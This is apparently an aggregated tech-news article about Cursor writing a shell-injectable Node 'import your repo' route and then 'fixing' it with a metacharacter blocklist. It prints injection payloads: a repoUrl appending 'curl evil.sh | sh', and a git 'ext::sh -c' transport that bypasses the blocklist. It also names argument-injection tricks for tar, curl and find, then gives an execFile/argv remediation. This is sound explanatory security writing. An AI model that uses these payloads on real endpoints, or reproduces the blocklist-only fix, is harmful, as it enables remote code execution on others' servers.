Build1 distinct publisher3 min readUpdated
An AI editor's remediation for a CWE-78 bug was a shell metacharacter blocklist. The payload git clone ext::sh -c whoami carries none of those characters and runs code anyway.
The Engineer · Build desk
Compiled by The EngineerSomething wrong?How this is made
A developer wiring up an "import your repo" endpoint got a working route out of Cursor in about twenty seconds, and it arrived with a remote shell built in [1]. The predictable part is that AI editors write injectable code; the part worth your attention is that when the developer pointed at the bug and asked for a fix, the remediation was still exploitable, and exploitable without any of the characters the fix was checking for [2].
The original route is textbook command injection, CWE-78. Node's exec() spawns /bin/sh -c and passes it the whole command string [3], so a repoUrl of `https://github.com/a/b.git; curl evil.sh | sh` gives the shell two commands: the clone, then the attacker's [4]. Point at that line, ask for a fix, and Cursor returns input sanitization: a regex blocklist of shell metacharacters, `/[;&|`$(){}<>\n]/`, with a 400 response [5]. It reads like security. It blocks the payload above.
Then send `git clone ext::sh -c "touch /tmp/pwned"`. No semicolon, no pipe, no backtick, no dollar sign, no parentheses. It passes the blocklist clean, and git runs `sh -c "touch /tmp/pwned"` on the box [6]. The reason is documented: ext:: is a git transport, and git hands the rest of the string to a shell, treating that process's stdio as the remote [7]. Git's protocol.ext.allow setting defaults to user, which permits the transport for commands the user runs directly, and a clone call is a direct invocation [8].
The blocklist was never the boundary. The boundary is whether attacker input controls an argument to a program that interprets arguments, and it still does.
The failure mode is structural. AI editors optimize for the shape of a fix rather than the boundary it has to hold, and a blocklist has the visual signature of secure code: a constant, a validation branch, an early return [9]. It also matches most Stack Overflow answers about command injection, which are old and treat escaping input as a general solution [10]. It is not one. The same class bites tar through --checkpoint-action=exec=, curl through -o writing to arbitrary paths, and find through -exec, none of which need shell syntax at all [11]. They just need to be an argument.
The fix is to stop building a shell string. Use execFile with an argv array so there is no shell to inject into, validate the input as a URL rather than as text with an https-only host allowlist that rejects embedded credentials, and pass -- so a value starting with a hyphen cannot become a flag [12].
What to watch: if your codebase has accepted an AI-written remediation for shell injection, grep for exec( and for validation-by-blocklist. A fix that adds a character deny-list without removing the shell has not closed the hole; it has narrowed the visible payloads while leaving transport tricks like ext:: intact [6][12].
Follow any of these and your For You feed starts watching them — no settings page required.
Ranked by verification strength, evidence, and original report placement.
A developer building an import-your-repo endpoint got a working clone route from Cursor in about twenty seconds, and it contained a remote shell.
When the developer pointed at the bug and asked Cursor for a fix, the remediation was still exploitable, and exploitable without using any of the characters the fix was checking for.
Cursor writes exec() with user input pasted into the command string, which is command injection (CWE-78); Node's exec() spawns /bin/sh -c and passes it the whole string.
A repoUrl of https://github.com/a/b.git; curl evil.sh | sh makes the shell see two commands: the clone runs, then the attacker's does.
The payload git clone ext::sh -c "touch /tmp/pwned" contains no semicolon, pipe, backtick, dollar sign or parentheses, passes the blocklist, and makes git run sh -c "touch /tmp/pwned" on the machine.
The recommended fix uses execFile with an argv array so there is no shell, validates the input as a URL with an https-only host allowlist (github.com, gitlab.com) that rejects embedded credentials, and passes -- so a hyphen-leading value cannot become a flag; the example runs execFile('git', ['clone','--depth','1','--',repoUrl,'/tmp/import']) with a 30-second timeout.
Evidence-backed comparisons of source perspectives and observed adoption signals. Read the methodology
Which Builder, Operator, and Investor concerns the observed source mix emphasized—not a truth score.
Evidence, demonstrated adoption, hype gap, incentives, and confidence are assessed independently, each on its own current evidence. How these are measured.
Mechanism well demonstrated, tool behaviour anecdotal
The vulnerability and bypass are shown as runnable code with a specific payload, and each step rests on documented platform behaviour the reader can verify independently: Node exec() spawning /bin/sh -c, ext:: as a git transport that hands its remainder to a shell, protocol.ext.allow defaulting to user, and execFile/argv plus '--' removing both shell and option-parsing exposure. That technical spine is strong. What is weak is the evidence for the headline actor: a single undocumented Cursor session with no model version, prompt log, or repeated trials, plus an unsampled assertion about Stack Overflow's answer corpus. Evidence is therefore high for the vulnerability class and remediation, low for 'the fix Cursor writes'.
No adoption signal beyond one self-reported session
The only usage datapoint is the author's own anecdote about generating an endpoint with Cursor; there is no release, deployment, benchmark, incident report, CVE, telemetry, or third-party reproduction in the supplied material. Nothing supports an estimate of how widely AI editors emit this pattern or how much affected code is in production, so adoption is left unmeasured rather than inferred.
Mildly overstated generalisation over a sound mechanism
The title and dek generalise from one session to what 'Cursor writes', and the article extends further to 'AI editors optimize for the shape of a fix' and to what most Stack Overflow answers say — none of which is measured. Against that, the substantive technical content is not inflated: the injection, the ext:: bypass and the execFile remediation are demonstrated and accurate, and the piece explicitly limits its own fix (execFile does not stop argument injection). The gap is modest and confined to framing, not to the security analysis.
Attention incentive, no disclosed commercial stake
This is a self-published post on a developer community platform that names a commercial AI editor in its headline, which carries a clear audience-attention incentive. Offsetting that, the supplied source discloses no vendor affiliation, sponsorship, or competing product, sells nothing, and the remediation is generic standard-library guidance (Node execFile, Python subprocess with shell=False) rather than a pitch for any tool. Distortion pressure is therefore present but limited to framing.
Confident on the vulnerability, weak on the vendor claim
Confidence is split. The exploit mechanics and remediation are single-sourced but independently checkable against Node and git documentation, so they can be relied on. The story's framing device — that this is what Cursor writes, and what AI editors do generally — rests on one anecdote from one publisher with no reproduction path, and adoption is entirely unmeasured. Net confidence sits just above the midpoint: act on the secure-coding guidance, discount the generalisation.
product
The allowlist read the command name, not what the command would do1 distinct publisher
build
Waku 0.1.0 bets the product is the control plane, not another coding agent1 distinct publisher
build
Four Clocks, One Timeout: Why Long-Audio Transcription Needs a State Machine1 distinct publisher
build
Agent-written docs need a paper trail, not a confidence score1 distinct publisher
Distinct publishers with included, body-backed reporting in this cluster.
dev.to
1 article · August 16, 2026